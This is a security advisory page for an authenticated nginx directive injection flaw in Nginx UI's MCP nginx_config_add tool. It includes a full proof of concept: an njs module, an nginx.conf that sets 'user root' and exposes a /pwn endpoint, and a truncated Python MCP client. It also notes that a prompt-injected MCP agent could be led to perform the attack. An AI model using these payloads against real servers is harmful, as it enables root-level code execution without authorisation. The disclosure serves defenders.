high · 8.8 Patched

Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)

CVE-2026-84317 · GHSA-76pm-mq2q-9gcr · published 15 Oct 2026

How serious is it

  • Severity: high, CVSS score 8.8 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-84317?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • github.com/0xJacky/Nginx-UI (Go) < 1.9.10-0.20260703131214-23d1934099b0

How to check

  1. Run go list -m github.com/0xJacky/Nginx-UI in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade github.com/0xJacky/Nginx-UI to 1.9.10-0.20260703131214-23d1934099b0 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

## Summary `internal/config/validation.go` (`ValidateConfigFile`) is a security control that blocks dangerous nginx directives — `js_*`, `perl_*`, `load_module` of the njs/perl modules, and `user root`. It is enforced on three of the four config-write paths: `api/config/add.go`, `api/config/modify.go`, and `mcp/config/config_modify.go`. The fourth path — the MCP tool `nginx_config_add` (`mcp/config/config_add.go`) — does NOT call it: it writes the caller-supplied `content` straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). ## Root cause — an incomplete hardening patch Commit `3e411d38` ("Harden config write paths", 2026-04-21) introduced `ValidateConfigFile` and wired it into the config-write paths — but its changeset touched only: api/config/add.go (+6), api/config/modify.go (+8), internal/config/validation.go (+199), mcp/config/config_modify.go (+5) It did NOT touch `mcp/config/config_add.go`. So the MCP add path was left without the validation that all of its sibling paths received. `config_add.go` has never called `ValidateConfigFile` (verified via git history); this is an oversight in the hardening, not a regression. ## Affected code (mcp/config/config_add.go, handleNginxConfigAdd) ```go content := mcp.GetString(args, "content") // caller-controlled ... path, err := config.ResolveConfPath(baseDir, name) // path is sandboxed to the conf dir (OK) ... err = os.WriteFile(path, []byte(content), 0644) // <-- no config.ValidateConfigFile(path, content) ... res := nginx.Control(nginx.Reload) // reloads nginx ``` Contrast — the guarded sibling (mcp/config/config_modify.go) does: ```go err = config.ValidateConfigFile(absPath, content) // rejects js_*/perl_*/load_module/user root if err != nil { return nil, err } ``` ## Proof of Concept (live, Docker, official image) Image `uozi/nginx-ui:2.3.11`, nginx 1.31.0. Authenticated with a valid node secret (`X-Node-Secret`). MCP over SSE; client script `poc_mcp_client.py` attached. 1) Validation bypass (decisive): - `tools/call nginx_config_add {name:"poc_blocked.conf", base_dir:"sites-available", content:"js_import poc.js;\nperl_set $x 'sub{return 1}';\nuser root;\nload_module .../ngx_http_js_module.so;"}` → SUCCESS; file written verbatim (confirmed on disk). - Same content via `nginx_config_modify` → REJECTED: `{"code":-32603,"message":"file content contains restricted nginx directive: js_import"}`. 2) Effect (using only the vulnerable config_add tool): - Wrote `/etc/nginx/poc.js` (njs module) and overwrote `/etc/nginx/nginx.conf` with `load_module .../ngx_http_js_module.so; user root; ... js_import poc ...; server{ listen 8899; location=/pwn { js_content poc.pwn; } }`. Tool returned SUCCESS (reload succeeded; `nginx -t` ok). - `/proc/<worker>/status` → `Uid: 0 0 0 0` (workers run as root — `user root` took effect). - `GET http://127.0.0.1:8899/pwn` → `pwned` (njs `js_content` executed). - `/tmp/NJS_RCE_PROOF.txt` created, owned by root → JavaScript code execution in the nginx worker performing arbitrary file write as root. ### Reproduction payloads (self-contained) njs module written to `/etc/nginx/poc.js` via `nginx_config_add` (name="poc.js", base_dir=""): ```js import fs from 'fs'; function pwn(r){ try{ fs.writeFileSync('/tmp/NJS_RCE_PROOF.txt','njs-code-exec-ok\n'); }catch(e){ r.return(200,'ERR:'+e); return; } r.return(200,'pwned\n'); } export default { pwn }; ``` Main config overwritten via `nginx_config_add` (name="nginx.conf", base_dir="", overwrite=true): ```nginx load_module /usr/lib/nginx/modules/ngx_http_js_module.so; user root; worker_processes 1; error_log /var/log/nginx/error.log notice; pid /run/nginx.pid; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; js_import poc from /etc/nginx/poc.js; server { listen 8899; location = /pwn { js_content poc.pwn; } } } ``` ### PoC client (MCP-over-SSE, Python stdlib only) Set `SECRET` to a valid node secret (printed in nginx-ui's first-boot logs) or a user JWT. Usage: `python3 poc_mcp_client.py list` then `python3 poc_mcp_client.py call <tool> '<json-args>'`. ```python import sys, json, threading, queue, time, http.client BASE = "127.0.0.1:9000" SECRET = "<NODE_SECRET_OR_JWT>" HDR = {"X-Node-Secret": SECRET} # or {"Authorization": "Bearer <JWT>"} resp_q = queue.Queue(); endpoint = {} def sse_reader(): conn = http.client.HTTPConnection(BASE, timeout=60) conn.request("GET", "/mcp", headers={**HDR, "Accept": "text/event-stream"}) r = conn.getresponse(); event = None while True: line = r.fp.readline() if not line: break line = line.decode("utf-8","replace").rstrip("\r\n") if line.startswith("event:"): event = line[6:].strip() elif line.startswith("data:"): data = line[5:].strip() if event == "endpoint": endpoint["url"] = data; endpoint["ready"] = True else: resp_q.put(data) elif line == "": event = None def post(obj): conn = http.client.HTTPConnection(BASE, timeout=30) conn.request("POST", endpoint["url"], body=json.dumps(obj).encode(), headers={**HDR, "Content-Type": "application/json"}) return conn.getresponse().read() def wait(wid, t=20): end = time.time()+t while time.time() < end: try: d = resp_q.get(timeout=t) except queue.Empty: break try: j = json.loads(d) except Exception: continue if j.get("id") == wid: return j threading.Thread(target=sse_reader, daemon=True).start() for _ in range(50): if endpoint.get("ready"): break time.sleep(0.1) post({"jsonrpc":"2.0","id":1,"method":"initialize","p…

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database. Last updated 23 Oct 2026. All vulnerabilities · RSS · JSON